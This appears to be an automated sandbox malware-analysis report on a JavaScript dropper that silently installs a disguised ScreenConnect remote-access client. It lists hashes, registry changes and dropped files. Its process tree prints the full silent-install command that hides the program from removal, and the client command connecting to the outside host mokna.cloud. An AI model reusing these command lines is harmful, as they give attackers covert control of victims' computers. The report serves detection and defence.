Analysis
- max time kernel
149s - max time network
141s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
29/09/2026, 18:26
Static task
static1
Behavioral task
behavioral1
Sample
Docs-20260929182658910.js
Resource
win10v2004-20260911-en
windows10-2004-x64
17 signatures
150 seconds
General
- Target Docs-20260929182658910.js
- Size 3.1MB
- Sample260929-w3prbssepc
- SHA256 075ae973e762dc64b5d6c7b170a2de4664ca86640071859020f129e2d1e03f20
- MD5 26f845f7ee0cf26a951fdeb63329487a
- SHA1 3a38aaddfb15aab0f5eac8d4443e20660552d00f
- SHA512 980ab97c58763871ecf09548de3885d02c24bb170bce828c31c57f85d31b22acb9fb97bab62b323a0bc314e8060c73ddf4247d3fc416354ad05d2481a423a023
- SSDEEP 49152:tA+/veDaWsukPxfjyelhssJCQZ/hmWwDnpKFED3UJNXMgsakIg78:R
- TLSH T111E533210AFD5EBD4BE8D32C24DF1F0E26E11F918859A5D7A39AB9C3065EF51026F078
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Control Panel\International\Geo\Nation wscript.exe - Executes dropped EXE 3 IoCs
pid Process 3820 ScreenConnect.ClientService.exe 4604 ScreenConnect.WindowsClient.exe 2760 ScreenConnect.WindowsClient.exe - Loads dropped DLL 25 IoCs
pid Process 4992 MsiExec.exe 2128 rundll32.exe 2128 rundll32.exe 2128 rundll32.exe 2128 rundll32.exe 2128 rundll32.exe 2128 rundll32.exe 2128 rundll32.exe 4992 MsiExec.exe 4992 MsiExec.exe 4992 MsiExec.exe 2996 MsiExec.exe 2996 MsiExec.exe 3820 ScreenConnect.ClientService.exe 3820 ScreenConnect.ClientService.exe 3820 ScreenConnect.ClientService.exe 3820 ScreenConnect.ClientService.exe 3820 ScreenConnect.ClientService.exe 3820 ScreenConnect.ClientService.exe 3820 ScreenConnect.ClientService.exe 3820 ScreenConnect.ClientService.exe 3820 ScreenConnect.ClientService.exe 3820 ScreenConnect.ClientService.exe 3820 ScreenConnect.ClientService.exe 3820 ScreenConnect.ClientService.exe - Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe \??\F:\ msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\K: msiexec.exe - Drops file in Windows directory 21 IoCs
description ioc Process File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSIDFAD.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSIE4B1.tmp msiexec.exe File created C:\Windows\Installer\e58ded6.msi msiexec.exe File opened for modification C:\Windows\Installer\{EAE29D4A-EE6C-4C4A-90C6-0CC5EF4A0A56}\DefaultIcon msiexec.exe File opened for modification C:\Windows\Installer\e58ded2.msi msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{EAE29D4A-EE6C-4C4A-90C6-0CC5EF4A0A56} msiexec.exe File opened for modification C:\Windows\Installer\MSIE3E5.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIE3B5.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIE500.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIE678.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIE6F6.tmp msiexec.exe File created C:\Windows\Installer\e58ded2.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIDFAD.tmp-\ScreenConnect.InstallerActions.dll rundll32.exe File opened for modification C:\Windows\Installer\MSIDFAD.tmp-\Microsoft.Deployment.WindowsInstaller.dll rundll32.exe File opened for modification C:\Windows\Installer\MSIDFAD.tmp-\ScreenConnect.Core.dll rundll32.exe File opened for modification C:\Windows\Installer\MSIDFAD.tmp-\CustomAction.config rundll32.exe File created C:\Windows\Installer\wix{EAE29D4A-EE6C-4C4A-90C6-0CC5EF4A0A56}.SchedServiceConfig.rmi MsiExec.exe File created C:\Windows\Installer\{EAE29D4A-EE6C-4C4A-90C6-0CC5EF4A0A56}\DefaultIcon msiexec.exe - Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ScreenConnect.ClientService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ScreenConnect.ClientService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ScreenConnect.WindowsClient.exe - System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ScreenConnect.WindowsClient.exe - Modifies data under HKEY_USERS 13 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.ClientService.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.ClientService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.WindowsClient.exe - Modifies registry class 32 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\shell\open msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\shell\open\command\ = "\"C:\\ProgramData\\Microsoft\\Windows\\Caches\\c4f8a2e19b3d\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\AdvertiseFlags = "388" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\34F0136E0E5881F18A38422140BDA1C2 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\SourceList\PackageName = "ScreenConnect.ClientSetup.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\shell msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\ProductName = "ScreenConnect Client (a883241204db1a2c)" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\34F0136E0E5881F18A38422140BDA1C2\A4D92EAEC6EEA4C4096CC05CFEA4A065 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\SourceList msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\URL Protocol msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\A4D92EAEC6EEA4C4096CC05CFEA4A065\Full msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\Assignment = "1" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\ProductIcon = "C:\\Windows\\Installer\\{EAE29D4A-EE6C-4C4A-90C6-0CC5EF4A0A56}\\DefaultIcon" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\InstanceType = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\UseOriginalUrlEncoding = "1" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\shell\open\command msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\AuthorizedLUAApp = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\SourceList\Media\1 = ";" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-a883241204db1a2c msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-a883241204db1a2c\shell\open\command msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\PackageCode = "D7176CFD8FE33E944A194E82FEEE35BE" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\SourceList\Net msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\Version = "336266244" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\A4D92EAEC6EEA4C4096CC05CFEA4A065 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\Language = "1033" msiexec.exe - Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 1592 msiexec.exe 1592 msiexec.exe 3820 ScreenConnect.ClientService.exe 3820 ScreenConnect.ClientService.exe 3820 ScreenConnect.ClientService.exe 3820 ScreenConnect.ClientService.exe 3820 ScreenConnect.ClientService.exe 3820 ScreenConnect.ClientService.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1208 msiexec.exe Token: SeIncreaseQuotaPrivilege 1208 msiexec.exe Token: SeSecurityPrivilege 1592 msiexec.exe Token: SeCreateTokenPrivilege 1208 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1208 msiexec.exe Token: SeLockMemoryPrivilege 1208 msiexec.exe Token: SeIncreaseQuotaPrivilege 1208 msiexec.exe Token: SeMachineAccountPrivilege 1208 msiexec.exe Token: SeTcbPrivilege 1208 msiexec.exe Token: SeSecurityPrivilege 1208 msiexec.exe Token: SeTakeOwnershipPrivilege 1208 msiexec.exe Token: SeLoadDriverPrivilege 1208 msiexec.exe Token: SeSystemProfilePrivilege 1208 msiexec.exe Token: SeSystemtimePrivilege 1208 msiexec.exe Token: SeProfSingleProcessPrivilege 1208 msiexec.exe Token: SeIncBasePriorityPrivilege 1208 msiexec.exe Token: SeCreatePagefilePrivilege 1208 msiexec.exe Token: SeCreatePermanentPrivilege 1208 msiexec.exe Token: SeBackupPrivilege 1208 msiexec.exe Token: SeRestorePrivilege 1208 msiexec.exe Token: SeShutdownPrivilege 1208 msiexec.exe Token: SeDebugPrivilege 1208 msiexec.exe Token: SeAuditPrivilege 1208 msiexec.exe Token: SeSystemEnvironmentPrivilege 1208 msiexec.exe Token: SeChangeNotifyPrivilege 1208 msiexec.exe Token: SeRemoteShutdownPrivilege 1208 msiexec.exe Token: SeUndockPrivilege 1208 msiexec.exe Token: SeSyncAgentPrivilege 1208 msiexec.exe Token: SeEnableDelegationPrivilege 1208 msiexec.exe Token: SeManageVolumePrivilege 1208 msiexec.exe Token: SeImpersonatePrivilege 1208 msiexec.exe Token: SeCreateGlobalPrivilege 1208 msiexec.exe Token: SeRestorePrivilege 1592 msiexec.exe Token: SeTakeOwnershipPrivilege 1592 msiexec.exe Token: SeRestorePrivilege 1592 msiexec.exe Token: SeTakeOwnershipPrivilege 1592 msiexec.exe Token: SeRestorePrivilege 1592 msiexec.exe Token: SeTakeOwnershipPrivilege 1592 msiexec.exe Token: SeRestorePrivilege 1592 msiexec.exe Token: SeTakeOwnershipPrivilege 1592 msiexec.exe Token: SeRestorePrivilege 1592 msiexec.exe Token: SeTakeOwnershipPrivilege 1592 msiexec.exe Token: SeRestorePrivilege 1592 msiexec.exe Token: SeTakeOwnershipPrivilege 1592 msiexec.exe Token: SeRestorePrivilege 1592 msiexec.exe Token: SeTakeOwnershipPrivilege 1592 msiexec.exe Token: SeRestorePrivilege 1592 msiexec.exe Token: SeTakeOwnershipPrivilege 1592 msiexec.exe Token: SeShutdownPrivilege 2996 MsiExec.exe Token: SeDebugPrivilege 3820 ScreenConnect.ClientService.exe Token: SeRestorePrivilege 1592 msiexec.exe Token: SeTakeOwnershipPrivilege 1592 msiexec.exe Token: SeRestorePrivilege 1592 msiexec.exe Token: SeTakeOwnershipPrivilege 1592 msiexec.exe Token: SeRestorePrivilege 1592 msiexec.exe Token: SeTakeOwnershipPrivilege 1592 msiexec.exe Token: SeRestorePrivilege 1592 msiexec.exe Token: SeTakeOwnershipPrivilege 1592 msiexec.exe Token: SeRestorePrivilege 1592 msiexec.exe Token: SeTakeOwnershipPrivilege 1592 msiexec.exe Token: SeRestorePrivilege 1592 msiexec.exe Token: SeTakeOwnershipPrivilege 1592 msiexec.exe Token: SeRestorePrivilege 1592 msiexec.exe Token: SeTakeOwnershipPrivilege 1592 msiexec.exe - Suspicious use of FindShellTrayWindow 5 IoCs
pid Process 4604 ScreenConnect.WindowsClient.exe 4604 ScreenConnect.WindowsClient.exe 4604 ScreenConnect.WindowsClient.exe 4604 ScreenConnect.WindowsClient.exe 4604 ScreenConnect.WindowsClient.exe - Suspicious use of SendNotifyMessage 5 IoCs
pid Process 4604 ScreenConnect.WindowsClient.exe 4604 ScreenConnect.WindowsClient.exe 4604 ScreenConnect.WindowsClient.exe 4604 ScreenConnect.WindowsClient.exe 4604 ScreenConnect.WindowsClient.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 5032 wrote to memory of 1208 5032 wscript.exe 92 PID 1592 wrote to memory of 4992 1592 msiexec.exe 97 PID 4992 wrote to memory of 2128 4992 MsiExec.exe 99 PID 1592 wrote to memory of 2996 1592 msiexec.exe 100 PID 3820 wrote to memory of 4604 3820 ScreenConnect.ClientService.exe 104 PID 3820 wrote to memory of 2760 3820 ScreenConnect.ClientService.exe 106
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Docs-20260929182658910.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5032 -
C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi" /qn /norestart ARPSYSTEMCOMPONENT=1 ARPNOREMOVE=1 ARPNOMODIFY=1 ARPNOREPAIR=1 ALLUSERS=1 INSTALLLOCATION="C:\\ProgramData\\Microsoft\\Windows\\Caches\\c4f8a2e19b3d" PROGRAMDATALOCATION="C:\\ProgramData\\Microsoft\\Windows\\Caches\\c4f8a2e19b3d\\Data"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1208
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1592 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding AAC7C47911A9D62BABDF3831E253BB672⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4992 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Windows\Installer\MSIDFAD.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240705625 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:2128
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C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 1D3742CB71596C34E0D0A7E34EEB6E22 E Global\MSI00002⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2996
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C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.ClientService.exeC:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.ClientService.exe "?e=Access&y=Guest&h=mokna.cloud&p=8041&s=bfb6b5c8-1d62-49fb-96dc-cd08b30dcb2f&k=BgIAAACkAABSU0ExAAgAAAEAAQCNxZL3tg1sOj784pJI%2fDjJndvmtBu0S1bSLvxJJblA5QrsTjN6qKwRFIIrRCRPXbw9DUWtT3Mf9z9SOtMv1jfKpQIKOX0lQZ%2b6cjlHtKp3vUtCypslW%2fxzKgnq%2bPd%2fZUDAXmEH%2byWifRPUK7cZIJ%2f2Kek2HVYG2RFDmW9ICImBHCpFMdRXV5vSsvbseRT1czW4v1KZAopL%2b3wGZsFlPeofLR%2fcuO27F%2bu8%2fSkBzUU2ojCPloPIcid84hL6nTjFSEw5IRseAESnrUkw8etdlmdJsvHpg8LrI0OaHzV7FTkDecXKyjy4NUWxmYn8wGHxuiQXhhv7FmY73E0HSvelEvLm"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3820 -
C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.WindowsClient.exe"C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.WindowsClient.exe" "RunRole" "963c31f1-f92e-4c2b-b6eb-5e5df56938bb" "User"2⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4604
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C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.WindowsClient.exe"C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.WindowsClient.exe" "RunRole" "c8507a08-0703-4bbf-ad79-d6314c33f16d" "System"2⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:2760
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Config.Msi\e58ded5.rbs
- Size 212KB
- SHA256 80ca41d2a976a1d5490bfb2592df7eb1250aca5e05db0cff26f61dfa23712362
- MD5 33f15b8fba2cf346f0bb94b61e077d32
- SHA1 28c6bd3bd7dd42dd210f35bbacbf4630d18366a8
- SHA512 ee0199005886602de176da2b82921b2f6dd4673acc5b5c9ab45cba2e7510c9da7004fa6f8f634a6afaef22226166a49825f0369580ebcd48714f72ae522e95f8
- SSDEEP 3072:a9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGL:auH2aCGw1ST1wQLdqvL
- TLSH T1FE248D226484807EE7FA1A32D93F9A71BE7DF6240760C59EC3848C1E5D604D06BF6B67
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\Client.en-US.resources
- Size 40KB
- SHA256 e6062ed6322bcd81e007ed52223dd958fcf9a4f492b33040fc2b68b0f557ce7c
- MD5 16cd43e092acdbc94d1ac0ce1b4c8ea9
- SHA1 19702fa4e790474a1dbc065d5f06a8f1558de524
- SHA512 45932bc1704727e81ca8b2bf4a70c3cf688552f28afa15e07c96cc5c0904aa893726c944279e5638db9d9ed2c8ab4fe72082bd2a9803fcc8621ec59c2905a9b6
- SSDEEP 768:TvOnOH2PQb3ksw1TFIBb4TEMgRsFQS97wXLwh7Kp1yvM8ZErWIri:rOn5Qb0sw1TiBb4TEMgRsFQS97wXLwh1
- TLSH T1AD030D1277FD0A18F5F36F06BE7A94629D37BD562E25C06E1028455E1AB2F80C9B2373
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\Client.resources
- Size 2KB
- SHA256 64da2cfeacfcba97cad701da9288618bc42a20f69dd4a0fe5652ce49ef92524c
- MD5 0b47901f2c782922f034fba8e8062916
- SHA1 893075f8ca04f92dbef7f6e81223e1b08e29328f
- SHA512 b3db1c4ffed1dbaef5e03f4819bcba5f0a6864c26123e059b6a649911adbd380ae3aa1eb63c2397ea1ea5fc61103468b5db838080d7c7d5de848b5002c31cbd6
- TLSH T1B34103CA3BFA2D74F4B79B736EB99050EE35FE1C3566D1AE1406441E2B213099880B33
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.Client.dll
- Size 153KB
- SHA256 91ef17033e63abfd3769e3264f9b9999c03e8c1cbf9a935529ba588eecb1a1ee
- MD5 e5a9cedfca2f0071e26610e7a505cc4f
- SHA1 3f845a06d02a712707b503223ef69a72de655fd1
- SHA512 f9e81278b94964103e0b65ea8f781bc5f1d7e1501ee98032ab7aff69cbbbc271d323d6900b61007fddbc6242cef07dcc64342c178be8a38313df673ea8068b6c
- SSDEEP 3072:JsURiZnZrKR91EFocIgglCfUKMrz6D2Na5DOoABi87fJ6fRM:JsjIjcyoD2cDgM878
- TLSH T1ABE39EBB63A45D79C58F8A37B06201309FB196416233F75F5A24F8FA6D237C046582E7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.ClientService.dll
- Size 32KB
- SHA256 ea2d01e8a1f0bce68d71887aa6a0e822179c2cc599c340a87ef4043cb47f8878
- MD5 2ab89617eac8dddf0af371d30f813937
- SHA1 7eb3b9afa84e85798f6b688560f371431e273821
- SHA512 cb9b263ef129eb13e13ed0b13c46baa13733dd6da3a3aa2d35eb0635953a89a516707586d0c0ffc5d3410defcc8c2b11af3a8e93bf063ec6163d679fb6c0f106
- SSDEEP 768:HFiY04W7D3ZsvFBDX5qxlNigvt6Ex9x2yCOb/:lupstBbYlsAt6EcJOb/
- TLSH T15FE2294553B84B32C4EE4B7CB866B14407B09E826562F69C8EC9E0DF1E673814E457EB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.ClientService.exe
- Size 88KB
- SHA256 f1d3120597b8f1115f7bd5cd7110be8baca7b350a785774411ed2c265bce363e
- MD5 5b9410ffcc24eb553593da53c3c8c77f
- SHA1 df1cd2b628ac44d41584727f32473cc06f93e271
- SHA512 402de2ec3704e936122f7d789f11a49f5cefbc08959b08c0789f07dd5ad5cb0d912882674d6675a6d515f0e2976eaa43f28c050a0808f04a11c0a109861bcea4
- SSDEEP 1536:TVnKQbrt7pdnNmhno7GcqbksWjcdLyXN4WAitMw8NP8:T8wt7TvmbLLyXOWAitMW
- TLSH T196939E22B6D19432E5B3063258B8DE410B7EFE278F7199977788024E5A742C09F39B77
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.Windows.dll
- Size 1.7MB
- SHA256 840629f95a1ce86843bda5222f852b589fb206cb4ecf33c7cd074207a2d5f23c
- MD5 0b55f9a8ccff2a90bd1a042f963ac19a
- SHA1 19beb65c14ee627b14b2c0144ab066a7c4ec5d79
- SHA512 5c7c9bb901f44e6894657b0bbe1bf28fd929aad1d364edfa782ac7544236af2e663a6d41620fc0c537dd69aaf3f23a5f4b864350f90bc95c1a73eb5c392f21a9
- SSDEEP 24576:nEl2drimVsJq2l6TOKoMjSvShvU86+RfmT01krTFiH4SqfKPTsUTHEWEZfM14wCK:nEii963PSumT0+TFiH7efPp3Z0
- TLSH T15B85AE42F2D211F5D4AB443888BE571BEB747C090360CBAF97D46E666E337D09A3A352
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.WindowsClient.exe
- Size 575KB
- SHA256 87bee75f88520f8aaebb9d843f765ec6a1ecea288ed9470af202610d7357654d
- MD5 751c0c5eb4122412f182d73051e31f06
- SHA1 6c63fad44bd8193eb71ccd768f99d62b23d46c00
- SHA512 5058a503d9943152cee0f4d52fe049d57c744a58aa54b6136ec1ee73d094ae42023ffb2efcd47e6d6ab47970b314d98618eee76418479298b31fc7d1c8f3b034
- SSDEEP 6144:DZpqLWJSylfGuvlQRuHyRq24LLCqIScCLDrPPCv+Fgdrf9ujkjJTLgKlpX0JHOoW:DZxuT74DrHStpkFOo8x0aQ3avIPvCczG
- TLSH T1EEC47D2633B89B25C4BF0B3DA171544893B5E8067246E79F8558F8E62D8F391CD0A3E7
